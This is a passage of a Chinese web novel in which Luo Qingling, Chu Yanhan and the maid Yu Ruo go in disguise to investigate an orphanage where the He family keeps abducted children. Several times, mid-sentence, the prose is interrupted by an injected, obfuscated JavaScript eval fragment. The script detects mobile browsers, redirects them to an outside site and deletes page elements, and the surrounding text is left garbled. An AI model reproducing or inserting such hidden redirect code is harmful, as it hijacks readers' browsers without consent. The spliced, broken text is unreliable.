月娘脸色更红，猛地伸手在乔明朗腰上拧了一把：“你知道什么，清泠是有真本事在身上的！到底谁胡说！信不信我撕了你的嘴！” “夫人……”乔明朗叹气。 “别叫我。” 乔明朗：“……” 他只能瞪着洛清泠。 “也不许瞪清泠，你那张脸，板起脸吓**了，别把清泠吓着。” “夫人……” “都说了别叫我，我现在不想和你说话呢。” 洛清泠在旁边看得好笑，又不敢真笑出来，便假借喝茶，视线撇向了别处。 有小厮进来道：“爷，楚世子来了！” “快请！”乔明朗猛地站起来：“快请！” 那般模样，简直恨不得楚砚寒立刻就把洛清泠给接走！ 直到上了自家马车，洛清泠才掩嘴笑出声来：“世子是真没看见乔大人的模样，简直恨不得没有请过我一般，立刻就要把我扫地出门！” “你在乔府做了什么？乔大人可是出了名的冰块脸。”楚砚寒好奇地问了一句。 “不可说，不可说。”事关病人隐私，的确不可乱说，洛清泠感叹道：“不过乔夫人和乔大人两人的感情真好。” 两人成婚六七年，膝下无子嗣，乔大人也一直没有纳妾，守着乔夫人，还甘愿被乔夫人管着。 洛清泠也是和月娘说话时才知道，原来今日乔大人休沐，陪着她去看大夫来着，所以才会恰巧在路上偶遇。 洛清泠喃喃自语的模样映入眼帘，楚砚寒心中一酸，情不自禁道：“我们也可以。” 洛清泠一怔，这才发现楚砚寒看着自己的视线有些莫名。 那双深邃的眼眸之中，不知何时，蕴满了几乎能溺毙人的深情。 她如遭雷击，瞬间僵硬在了马车里。 第五十七章 鱼若的仇人 “你说什么！” 洛清泠心中狂跳，不知道是心慌多一些，还是紧张多一些。 是听错了吗？ 不，就是她听错了！ 楚砚寒话一出口就知道自己冲动了，但既然已经说出来了，他也没有闭嘴的意思。 “清泠，我们也可以和乔大人夫妇一般。” 琴瑟和鸣，举案齐眉。 楚砚寒又重复了一遍，接着道：“清泠，不知道你是否愿意改——” “世子！” 洛清泠冷着脸，原本闲散的坐姿也收拢起来，僵硬地缩在马车的一角：“今日你说的话，我可以当做没听过。” “你、你以后还是叫我嫂子吧。” 如此冷漠撇清的模样，让楚砚寒心中一痛。 他沉默半晌，哑着声音道：“我知道了。” “……嫂子。” 说完，他一拍车门，从马车上下去了。 马车里只剩下了洛清泠一人。 她呆愣愣地看着车门，手中不自觉抓紧了绣帕。 洛清泠不知道自己应该怎么和楚砚寒相处。 更不知道楚砚寒的心思是什么时候……出现的。 但一想到他现在对自己的想法，再一想到之前在宁王府发生的事情，洛清泠就觉得头痛不已。 她躲了楚砚寒两日，直到鱼若找上门来投诚，她才被分走了心思。 鱼若在房间里和洛清泠说话，青云退了出来，正好看见楚砚寒站在院外，便打算开口行礼，楚砚寒摇头制止了。 青云怪异地偏了偏头。 也不知道那日在乔家到底发生了什么事，从乔家回来，小姐怪怪的，世子也怪怪的。 哎，她就应该跟着小姐去的！ 正想着，楚砚寒已经走了过来，低声问道：“里头是鱼若？” “是，世子也认识此人？” 楚砚寒点了点头。 过了约一盏茶功夫，房门才被拉开，鱼若红着眼睛出来了。 洛清泠也跟着一起出来，却和楚砚寒对上了视线。 她下意识想要躲开，又在躲开前控制住了自己——若是躲开，倒显得自己好像心虚似的。 对，洛清泠经过两天的思考，决定把两人的关系回到最开始，那么自己就更不能心虚，就好像两人之间有什么似的。 “世子怎么来了？” “进去说？” 楚砚寒扬了扬下巴。 洛清泠：…… 深呼吸。 只是简单的谈话而已。 她露出一个笑容来：“好。” 楚砚寒看着洛清泠的背影，很想说你不必这样，但洛清泠这般别扭却没有和自己撇开的模样，却又让他心中涌起了些许期盼。 进了房间，门一关，洛清泠眉心就跳了一下。 “鱼若的事情，已经查清了。” 楚砚寒不想看洛清泠这样担惊受怕的模样，开门见山道明来意。 “嗯？” “我本想着，若是她不来王府，也就不必告知清——告知嫂子知道。” 洛清泠沉吟一会儿，道：“还请世子告知。” “鱼若撒谎了，她的父亲不是被什么哥哥嫂嫂害死的，而是何家，尚书府的何家。” 洛清泠眼眸微微一软：“她刚才告诉我了。” 她解释道：“她所谓的哥哥嫂嫂也不是真的，反而是**她的人，所以那日她才会在绝境之中选择同归于尽。” 也会那么轻易被说动。 因为她背后还有一个以她自己的力量根本无法撼动的何家。 但洛清泠的出现，让她看见了复仇的可能性。 “除此以外，倒是没有其他重要的事情了。” 楚砚寒抿了抿唇：“算她诚实。” 洛清泠道：“加上何琳琅的事，鱼若的事，我刚才已经答应，帮她报仇的事情了。” “鱼若倒是告诉了我一个消息，”说到正事，洛清泠的情绪也正常了许多：“何家在京郊设立了一处恤孤院，明面上是专门收养各种孤儿的大善事，实际上却是何家敛财的一个手段，其中囚禁的所谓‘孤儿’，更是藏着猫腻。” “嫂子的意思，是想从这里做突破口？”楚砚寒沉吟。 洛清泠点点头，露出一个不带半点笑意的笑容来：“恤孤院本是为民生设立，却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15753919|172728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被何家做成了这样藏污纳垢的地方，就算不是为了鱼若，我知道了这件事，也绝对会插手。” 洛家军常年征战，虽然骁勇，但难免有所损伤。 但凡有将士死去，其家人，都会得到洛家，以及整个洛家军的照顾。 洛清泠曾随父兄去见过那些因为战乱流离失所的孩子，她清楚地记得父兄是如何将“悲悯”二字刻入她心中。 为官做将这，不能只顾着打打杀杀争权夺势，更要心怀“悲悯”，才不会迷失本心。 “好，我陪你。”楚砚寒直接点头。 “我——”洛清泠一愣，立刻准备拒绝。 她说出这件事可不是为了求帮助什么的…… “就这么说定了，”楚砚寒道：“我知道嫂子的意思，不过嫂子一人对抗何家危险不说，成功率肯定也比不上两人一起出手不是？嫂子就当我是为了那些孤儿罢。” 话说到这个份儿上，洛清泠也就不好在说什么了，便点头应了。 正好第二天是花灯节，洛清泠和楚砚寒便带着鱼若出了门，逛花灯节去了。 “我记得那恤孤院是接纳各界的帮扶的，只是我们没有那边的人脉，需得像个法子与他们牵上线才行。” 楚砚寒走在洛清泠身边，听到她一说，就明白了：“嫂子是想，借着送东西的名义，探查恤孤院？” “嗯。” “倒也应景。”楚砚寒看了看街上，琳琅满目的花灯，叫卖的小贩络绎不绝，但要从这么多人里选中一个对自己计划有利的，不是一件容易的事。 正想着，却见洛清泠径直走向了一个不起眼的小摊面前，拿起一盏兔子灯来。 “小哥，这花灯可是你亲手编的？” 听见询问，小摊后面一穿着粗布白衣的少年，正在做花灯，头也没抬，淡淡道：“全都是我编的，五文钱一个。” “我若是将你摊位上的花灯全买了呢？” 洛清泠笑眯眯道。 这摊位不大，但也挂满了花灯，零零总总加起来，少说也有近五十个，那少年身后还堆着不少半成品。 一笔大生意。 少年抬起头，看了过来。 第五十八章 乔装秘探恤孤院 那是张异常年轻的脸，却又带着不符合年纪的成熟和冷静。 洛清泠愣了一下，笑道：“小哥今日还能做多少个？我全要了。” 少年沉默了一下：“当真？” “自然。” 洛清泠拿出一枚银锭放在小摊上：“这是定金。” 少年眼睛陡然瞪大了一圈，抿着唇，似乎不知道应该说什么，最后有些别扭道：“我做不到这么多个。” “无妨，你做多少我收多少，多的，就当你的跑腿费了，”洛清泠解释道：“全部做好后，辛苦你跑一趟，全部往京郊的恤孤院送去。” 谁知话音刚落，那少年就陡然变了脸色，重新坐回了凳子上：“我不卖了，你去别家买吧。” 话语冷硬。 洛清泠眨了眨眼睛，和随后走来的楚砚寒对视一眼。 看样子，这少年似乎知道些东西。 “怎么了，那恤孤院惹了你不成？”洛清泠偏了偏头：“我听说那恤孤院救助了许多无家可归的小孩，只是想要做个善事罢了。” “呵，送到那样的地方去，我这些花灯，宁愿烧掉！” 少年嗓音之中充满了戾气，可看着洛清泠无辜又疑惑的眼神，到底没有多说什么。 “你管他们买了东西送去哪里？有钱不挣，你这孩子，是个傻的不成？你要是不耐烦去那里，只管拿钱叫人送去就是了，自己还能有不少赚头呢！” 旁边一卖簪子的大娘摇摇头，劝说着，可少年只是固执地编着手中的花灯。 洛清泠看着他手上的茧子，还有被竹条割出来的伤口，有些心疼：“这样吧小哥，你和我说说为什么不能送去那恤孤院，我这锭银子就还是你的。” 少年警惕地看了他们一眼，闭口不言。 鱼若越过那摊位，低声和少年耳语了几句，少年若有似无地看了洛清泠一眼，低声说了什么。 鱼若便拿出银子来，塞给了少年。 很快，鱼若回来，低声道：“那孩子说，恤孤院里的孩子，不是捡来的，还有拐来的。” 洛清泠心中一紧。 “有长得漂亮的，也会被拐带进去……那孩子有个妹妹，就是这么被带走的。” “天子脚下，竟然敢如此行事？” 洛清泠气到发抖，看了楚砚寒一眼。 楚砚寒点点头，做了个手势，一直暗中跟着的墨白立刻明白，安排人将这少年保护了起来。 “去其他摊位上买点花灯，我们现在就过去看看。” 正如同这少年所说，他做的花灯，若是送到恤孤院去，不如直接烧了的好。 很快，鱼若就买好了一批花灯，又叫了两辆马车拉着，三人去了京郊的恤孤院。 直到马车越走越偏僻，洛清泠冷笑道：“这何家倒是好胆，今日我非要看看，这恤孤院里到底藏了些什么猫腻。” 行了约一个多时辰，马车才在一处山头停了下来。 洛清泠在楚砚寒的搀扶下下了马车，一抬头，余光里却瞥见什么东西在晃动。 她循着看去，和一双黑白分明的大眼睛对了个正着，还是个孩子，趴在恤孤院的墙头，露出小半张脏兮兮的脸来，一见到洛清泠，就惊恐地瞪大了眼，一闪就从墙头消失了。 是恤孤院的孩子么？ “你们是什么人！” 守在门口的两名护卫拿着长刀走了过来，面色警惕。 他们上下打量了三人一眼，一身材臃肿的妇人，一长着胡子的中年男人，身边还有一个扎了丫髻的侍女，衣着倒是不凡，就是面生得很。 “这里可是恤孤院？” 楚砚寒经过了乔装，从翩翩少年变成了蓄着胡子的中年男人，声音也格外喑哑。 “是，你们到底来干什么的？” 那护卫警惕地看着三人。 “那就没找错，夫人。”楚砚寒回头看向打扮成胖妇人的洛清泠：“这应该就是京城的恤孤院了，我们这一路北上，你资助了好几个恤孤院，这个就是最后一个了。” 那护卫一听，又看几人谈吐举动不凡，身后还跟着两个马车，心中就有了计较。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15753920|172728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >竟然是前来捐赠的冤大头！ “原来是好心的大善人，请在此处稍等片刻，我们这就通传！” “那就多谢了。”洛清泠笑笑。 “哼，趋炎附势的东西。”鱼若看着护卫的背影冷哼道：“这恤孤院看门的都是这样的东西，里面还能有什么好货。” 洛清泠拍了拍鱼若，示意她稍安勿躁。 很快，侍卫就带着一婆子出来，将三人迎接了进去。 那婆子搓着手，笑道：“不知几位如何称呼？” “在下姓李，这是我夫人。”楚砚寒摸了摸胡子：“在下在江南做点小生意，奈何家中子嗣单薄，人丁不兴，去年有个道士路过，给我们指了条明路，说是多做好事，天道自有衡量，我夫妻两个便一路北上，捐赠了不少恤孤院。” “阿弥陀佛，李大人和李夫人的善心会有回报的！” 婆子已经从楚砚寒的话语里听出了他们是想要捐款，立刻不着痕迹地换了方向，把三人带去见管事。 她嘀嘀咕咕将三人的情况说了，那管事却还是阴沉着脸，并不怎么搭理的模样，还是那婆子说了又说，才走上来。 “这位李先生，不知二位打算捐赠多少？” “管事以为呢？”楚砚寒将话头抛了回去。 管事冷哼一声，掀起眼皮，伸出五个指头来：“五千两，不知道两位捐不捐得起了。” “五千？”洛清泠错愕：“你们这儿一捐就捐五千？不是我说，五千两都够将你这恤孤院翻新两遭了！” 管事还是冷笑，面色更加不耐了：“咱们这儿是京城地界，不是小地方可以比的，院里的孩子又多又调皮，五千两也不过够月余的开销罢了。” “两位既然不是诚心要捐，那就不要耽搁在下的时间了，门在那边，请吧。” 看样子……这个恤孤院，还真是吃得满嘴流油，张口闭口竟然就是五千两，还一副不情不愿的模样。 洛清泠没有搭话，只是对鱼若道：“罢了，我们给孩子带了些礼物来，小鱼，你去门口拿来。” 第五十九章 鱼若的本事 鱼若福了福身，转身走了。 管事脸上的讥笑更甚：“咱们这儿，也不缺这点子花灯，两人既然不是诚心要捐，还是早点走吧。” “你这人怎么说话呢！”洛清泠眉毛一树，双腮圆润的肉一鼓，气道：“还真当我们拿不出钱么！只是我们一路过来，都打发得差不多罢了！你给我等着，我就去钱庄上取了银票，改日就送来！” 管事还是皮笑肉不笑地盯着两人：“在下替恤孤院的孩子们感谢两位的善举，这说大话容易，做到可不是嘴皮子一动就能行的，两位可不要给了孩子们希望，又亲自灭了才好。” 洛清泠还要再说什么，楚砚寒揉了揉她的发顶：“好了夫人，咱们的目的是做善事，何必为一点子小事生气，倒显得本末倒置起来了。” 他低声安慰着，管事正打算打发了两人，却忽然瞥见楚砚寒行走之间，腰间露出的一枚司南佩来。 深色的玉佩，色泽浓郁。 管事是何等的眼色，立刻就认出那枚司南佩不是凡物，能将这样的司南佩随随便便带在身上的，岂是拿不出五千两的人？ 管事脸上的表情瞬间一变，谄媚笑道：“哎哟两位别和我生气，我这是担忧着恤孤院的发展，这些孩子们的归宿，一时有些气性上头了才说这话，二位不要生气呀！” 楚砚寒也顺着话又哄了两句，洛清泠才问道：“怎么，你这里的孩子没有人领养？” “这倒也不是，只是咱们到底都希望孩子们日后有个好归宿，所以对领养人要求很高罢了。”管事现在简直就是知无不言言无不尽，脸上笑得向朵花。 “那你看看，我可否有这个资格领养一个孩子？”洛清泠试探着问道。 婆子早就已经说过这两人没有子嗣，听如此说，表情变也没变一下，笑道：“哎哟那自然是可以的！” “两位面慈心善，若是能**，肯定是那孩子的造化了！” 洛清泠装作被哄开心的样子，顺口道：“既然如此，你将孩子们叫来，我看看可有和我眼缘的？” 管事却没有回答，反而走进两步，低声道：“李夫人，若是要挑孩子，咱们这儿，不论什么样儿的，保管叫你满意，只是——您得明日再来。” “什么意思？我今天不能挑？”洛清泠心里门清，还要装作疑惑不解的模样。 “何必这么麻烦，夫人既然现在有这个心思，那就把孩子们叫来，我们先看看，若是有缘自然就好。” 管事依然不动：“在下已经说了，明日再来，今日肯定是没有孩子的，孩子们也要打扮打扮的不是？二位明日爱来不来咯？” 洛清泠拉了拉楚砚寒的衣角，两人走到角落低声商议去了，管事老神在在地看着，似乎很有把握。 没一会儿，楚砚寒走了过来，道：“这样吧，管事，我们才到京城，还有其他要事处理，三日后正好有个空缺，三日后我们再来，可行？” “那三日后，在下欢迎二位大驾光临！” 又说了两句话，管事亲自把洛清泠两人送出了恤孤院，见鱼若正指挥着人下花灯，洛清泠便道：“今日虽然见不到孩子们，这些花灯也是我的一点心意，管事的，还请你将他们送到孩子手上，也算让他们过过花灯节。” “夫人吩咐，在下必然办妥！” 洛清泠这才点点头，上了马车。 三人离开了恤孤院境地，又做了个障眼法，这才卸下伪装。 洛清泠连忙看向鱼若：“你可在这里看见了什么？” 他们进入时就说好了，到时候由洛清泠和楚砚寒拖住管事等人，鱼若则是借口拿东西，趁机探查一番。 鱼若摇摇头：“我没有看见孩子们，这里的防御做得很好，不过——我假装迷路时，倒是看见了一个衣衫褴褛的小少年，被一个婆子赶着往后走，我本想追上去看看，却被那护卫看见了行踪，只能跟着出来了。” 鱼若面色愧疚：“抱歉小姐，我没有好好完成任务。” “无需愧疚，若是这恤孤院这么轻易就被摸透了，也不会存在这么久的肮脏生意了。” 洛清泠原本就没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15770089|172728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抱太大的希望，听到这样的消息也不失望。 “这样吧，我找个时间，偷偷溜进来查一查。” 楚砚寒摸了摸下巴：“到时候我自己一个人来，就算被发现，想要溜走，也不是什么难题。” 洛清泠定定地看了他一会儿，才垂下眼皮道：“千万小心。” “我省得的，嫂子放心。”楚砚寒弯了弯眼睛。 三人并没有直接打道回府，而是饶了好几圈之后，又去了一趟乔家。 洛清泠上次给月娘开的药也吃了好几日，今日正好上门复诊。 一过去，月娘就带着洛清泠和鱼若进了房间，楚砚寒则是和乔明朗两人待在前厅喝茶。 乔明朗面色无奈：“上次来就给我挖了个大坑，这次来，还不知道要怎么整我呢？楚兄，不是我说，你怎么没有好好管管？” 楚砚寒哂笑一下，眼中漫起一丝苦涩。 “对了乔兄，你可知道京郊的那所恤孤院？” 楚砚寒岔开话题。 乔明朗思索一番，道：“那个很偏僻那个？我知道，怎么了？” “那乔兄可知那恤孤院现在是谁在管理？” “现在是工部再管，难道出了什么事儿？” 楚砚寒眉心微蹙。 他记得，现任工部侍郎是何止，也就是何尚书的儿子，何琳琅的兄长。 看来，恤孤院果然和何家脱不了干系。 “楚兄怎么突然问起它来了？” “啊，”楚砚寒听到询问，这才回神，解释道：“今日我和……嫂子在街上听到些消息。” 他将那花灯少**儿讲了一讲，又说起他们在恤孤院的遭遇，还有鱼若看到的那衣衫褴褛的少年。 乔明朗不等楚砚寒说完，一巴掌拍在桌案上，脸色阴沉：“何家行事，倒是真的无法无天，嚣张至极！” “楚兄，这事儿你不能自己查，也算我一个。” 乔明朗为人刚正，从上次帮洛清泠的事就可见一斑，这也是楚砚寒决定告诉他的原因。 第六十章 盟友 “有乔兄帮助，那想来破了此藏污纳垢的恤孤案，指日可待了！” 楚砚寒拱了拱手，语气一缓，道：“不过不急在一时，我们现在手里的证据太少，乔兄气愤可以，也千万不要打草惊蛇。” “我明白。” 两人又商议了一番如何合作，如何探查等事，已将各种流程大致都梳理清楚，只等拿到证据，乔明朗立刻就会上折子了。 另一边，洛清泠将手从月娘腕间收了回来。 “倒是已经好了许多，月娘最近气色看着也不错。” “还要多亏了清泠的药方！”月娘面露喜意：“我也能感觉到，最近面色好，睡眠也好，连月信都准时了！” “是，月娘恢复得比我想得还要快上许多！”洛清泠也十分高兴：“这样，我再给月娘写一副调理巩固的方子，之前的方子就不要吃了，换了这个来。” 洛清泠说着，就找了鱼若进来研墨，写下一副方子来。 刚搁下笔，却见鱼若一副欲言又止的模样，愣住。 “鱼若？” “小姐这药方，可是给姑娘调理身体的？” 她看了月娘一眼，有些不敢说得太明。 洛清泠也怕她唐突了月娘，刚准备替她道歉，月娘却瞪大了眼睛道：“你是清泠的丫头，你也懂医术？” 看起来似乎并没有觉得冒犯。 洛清泠松了口气：“抱歉，月娘……” “这算什么事，你也知道，同为女子，大家都有不容易的时候。”月娘则是毫不在意地摆摆手。 洛清泠欣赏月娘这性子，也就直接问鱼若道：“鱼若，你学过医？” 她见过鱼若下毒，虽然医药同理，到底有些差别，鱼若却只是凭借一张药方就看出来治的是何病，也不简单。 “不瞒小姐，奴婢曾经随着一游医学过些许，一身本事都是那游医所教。” 她指着洛清泠的药方：“其实小姐这药方已经十分完备，只是奴婢曾恰好见游医治过一女子，也写了一副类似的药方，但其中用药却有细微差别，奴婢觉得，那药方，比小姐这药方要更完备些许。” 她斟酌着用词，一边注意洛清泠的脸色。 洛清泠连忙把方子展开，让鱼若细说，鱼若便指了几个药材出来，一一替换了去，洛清泠一琢磨，果然大有道理，笑道：“如此这般，月娘痊愈得可就更快了！” 鱼若见洛清泠和月娘都笑了，自己也才笑起来。 她没有跟错人，这位小姐是个宽容大度，能容人的！ 复诊完，月娘带着洛清泠两人去了厅上，正好听见楚砚寒和乔明朗商议事情。 洛清泠心中一动，道：“乔大人，妇有一拙见，若是贸然觐见，哪怕有了证据，也难免被何家视作此次事件的策划人，何家家大业大，要针对你我不是什么难事。” “清泠说得有道理，”月娘看乔明朗似有话要说，赶忙道：“你这人就是一根筋的直肠子，就是应该多听听清泠说了什么。” 乔明朗：…… 夫人，我这还一个字都没说呢。 月娘斜睨着他。 你心里那点花花肠子，我会不知道？ 洛清泠看得好笑，清咳一声：“乔大人顾然不怕这些勾心斗角，哪怕是为月娘想一想，或者是为将来那些还需要乔大人仗义执言的不平事想一想，大人也要保全自身才是。” “依照我的看法，不如先放出些流言，引起朝中文官谏官的主意，先就参了何家一本再说。” 何家在朝中也不是一家独大，自然有他们的政敌，到时候肯定会有人抓住这个机会，对何家出手，他们只需要在背后推波助澜，主导事情的走向就是了。 那些勾心斗角他们不管，但一定能解决恤孤院藏污纳垢之事！ 乔明朗从自家夫人的严防死守里找到空，终于说了一句话：“还可以找翰林院。” “翰林院我和嫂子没有什么人脉，这方面，恐怕就要摆脱乔兄了。”楚砚寒拱手道。 乔明朗一本正经点点头：“既然是我提出来的，那这件事就交给我来做就是。” 几人又商议了一阵，月娘被乔明朗解释了一番才知道发生了什么，立刻抓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15770090|172728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着他的胳膊：“这件事你必须要管！都是些可怜的孩子呢！” “夫人夫人，我正在管，正在管的……” 楚砚寒和洛清泠三人在乔家两口子的黏糊里抽身告辞，回了王府，却在门口就遇见了楚天旭。 楚天旭看了三人一眼，只道：“砚寒，清泠，你们两人随我来。” 两人来到楚天旭的书房，楚天旭开门见山道：“今日墨白从我这儿抽了两个人，做什么去了？” 什么？ 墨白竟然是从王爷这里抽的人么？ 楚砚寒解释道：“保护一个少年去了。” 他将恤孤院的事情再解释了一番，平西王眼中冰冷的情绪渐渐松动。 “太过冒失，”楚天旭评价道：“若不是墨白激灵，调动的是我的人，那少年真被人暗杀了，你们连个出头的理由都没有。” “是，儿子受教了。” “罢了，去将那少年秘密请来，让他将具体的事情，事无巨细，全都说清楚了。” 很快，少年就被偷偷带进了王府来。 直到看见洛清泠和楚砚寒，少年才明白发生了什么事，当下眼眶一红，噗通就跪在了地上，狠狠磕了一个头。 “你这是做什么，男儿膝下有黄金，起来！” 楚天旭中气十足一吼，少年却纹丝不动，话语里带着一丝哭腔：“草民、草民只是知道，草民妹妹的冤情，得以昭雪了！” “你妹妹她……” 楚砚寒一愣。 这少年之前只说妹妹被恤孤院的人拐走，却不知…… 少年抬起头来，身板跪得笔直。 他面上满是隐忍之色，道：“草民的妹妹已经去世了。” “就是因为恤孤院那群人！” 说着，一滴眼泪从脸颊划过，砸在了他的衣裳上，留下一个深色的圆圆斑点。 “他们拐走了我妹妹，我跟上去，几次想要将妹妹偷出来，却都被他们打了出来，我便在恤孤院外蹲守，谁知……” 说到这里，这个一直冷着脸的少年已经泣不成声了。 第六十一章 找到孩子了！ “那是一个雨夜。” 少年擦掉眼泪，眼中是一抹十分清晰的憎恨。 “恤孤院开了小门，有人抱着一卷席子出来，借着雷光，我看见那破席里探出的手，手上还拴着我给妹妹编织的一条锁命红绳。” 少年在看清那红绳的瞬间，如坠深渊。 他跌跌撞撞地跟上去，却来到了一处荒山，恤孤院的人将破席往山上一丢，熟练得像是已经做过千百次了一般，然后拍拍手，一边骂着一边回去了。 少年这才扑上去，颤抖着打开了那卷席子——里面裹着的，正是已经完全没了生机的妹妹。 少年抱着妹妹哭，像是一只走投无路的困兽。 他不是没想过报官，但没有一个人愿意受理，反而是引来了别人的追杀。 少年勉强逃过，回到家中，却被同族之人告知，他的爷爷在得知他兄妹二人的事情，已经病入膏肓。 少年抿唇，再次狠狠磕了一个头：“求大人为草民做主！” “我想要……给我妹妹一个交代……” “太过分了！”楚天旭猛地一拍桌子，脸上是少有的愤怒：“他们怎么敢做出这样草菅人命的事！” 甚至这少年还走投无路，根本没有地方伸冤。 “你别怕，将你妹妹被拐走的事详细说说。”楚天旭想到什么，皱了皱眉。 少年一五一十全都交代了，洛清泠看他今日神情巨震，已经身心俱疲了，便让青云将少年带下去吃饭休息。 “父王，您是想到了什么？”楚砚寒看向楚天旭。 楚天旭沉吟道：“前两日散朝时，和翰林院的大学士同行，见他神情有异，便问了一句，林大人说，是他家的独女，前两日在街上走失了。” 奈何关乎女儿的名声，那林夫人不许大张旗鼓地找，林大人也不好妄自惊动，这么多天下来，一直都找到半点消息。 “父王的意思是，那林大人的女儿，也许在恤孤院？”楚砚寒心中一动。 “不是没有这个可能，”楚天旭点了点头，叹道：“京中百姓若是丢了孩子，还可以找到府尹报官，若是想要知道京中丢孩子的案子，只要去府尹那里将相关卷宗找出来即可。” 但这少年前去报官，却没有得到受理，想来……这背后之人，应该已经做好了打点。 这样一想，楚天旭脸色就更臭了。 “既然如此，”楚砚寒沉吟半晌：“那我今夜便去恤孤院好好探查一番。” “也好，”楚天旭点头：“不过，这恤孤院能在京城地界如此横行，背后靠山定然不小，现在敌暗我明，行事务必要千万小心。” “嗯，孩儿明白。” 洛清泠不放心楚砚寒独自夜探恤孤院，便将楚砚寒叫来，给他塞了不少瓶瓶罐罐在袖带里。 “都是些常见的**和**，这是解药，你行动时先吃一粒，若是被人发现了，只管将这些东西丢出去就是，他们追查不到来源的。” “谢谢嫂子关心。”楚砚寒将东西都一一放好，弯起眼角：“放心，我一定平安归来。” 正说着，鱼若忽然在两人面前跪下了：“恳请世子，小姐，这次行动带上鱼若一起！” “夜间危险重重，你贸然跟去，受伤了怎么办？”洛清泠摇摇头。 “鱼若不怕！若是抡起用毒，奴婢的手法比这几个粗糙的瓶瓶罐罐更加有用，绝对不会给世子拖后腿！” 洛清泠叹气，将她从地上扶起来：“我们不是怕你拖后腿，夜探本就是为了不打草惊蛇，我们现在缺少的，就是对恤孤院的信息了解，前去探路的人越少越安全。” “鱼若，”洛清泠赶在鱼若开口前道：“忘了我是怎么和你说的了？” 鱼若张了张口，最后闷闷地道：“知道，一定要隐忍，最后再给敌人致命一击。” “乖，相信世子的手段，嗯？” 听着洛清泠这带着些安抚诱哄的语气，鱼若噗嗤一笑：“奴婢明白了！” 是夜。 楚砚寒带上了自己的两名善于隐藏行踪，探查敌情的亲信出发。 哪怕是以三人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15770091|172728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实力，依然花了些时间，才找到机会偷偷摸摸潜入恤孤院。 他们按照计划分头行动，将恤孤院大体上都摸查了一遍。 楚砚寒正搜完自己这个方向，便听到了一声细小的传音讯号，连忙赶过去，却是整个恤孤院的后院。 一亲信隐藏在墙头，见到楚砚寒，便指了指下方的一个小柴院，比划道：所有孩子都在里头。 楚砚寒打了个手势，让他们先撤，自己则是抹进了小柴院之中。 这小柴院十分破旧，楚砚寒一靠近，就听到了里面传来的呼吸声，此起彼伏，人数不少。 他拉开门，黑暗之中，一道警惕的少年音响起：“谁！” 接着，一盏小小的油灯在角落里亮起，照亮了一小半的柴房。 只见一群大大小小的孩子，簇拥着，**在另外一个角落。 门上绑着个石块，只要有人推门，就会弹出，砸中其中一个孩子，也算是一种示警。 这样的把戏楚砚寒在碰上门时就已经识破了，却还是就这样走了进去。 他打量着那群孩子，那群孩子也小心警惕地打量着他。 看楚砚寒的视线最后落在其中一个小姑娘身上时，顿时像是被戳中了软肋的狼，**都竖起来了。 “我警告你！别想将小荷带走！” “看你穿着一身夜行衣，也不是正大光明找来的吧，你现在就走，我们可以当做没见过你，不然我可就要叫人了！” 孩子里为首的，是一个看着十二三岁的少年，摆出了自己最凶狠的表情。 “不必紧张，我不是坏人。” 孩子们紧绷着脸，没说话。 楚砚寒张开双手示意自己的无害，问道：“你们可认识小豆苗？” 有几个孩子神色松动，楚砚寒道：“他哥哥找到我们，希望我们给他妹妹沉冤。” “你说的是真的？”有孩子热切地看着楚砚寒。 “不然我何必这么大费周章，这个时候潜入进来？若是被发现了，我岂不是得不偿失？” 第六十二章 小荷 “我们凭什么信你？” 为首那孩子说。 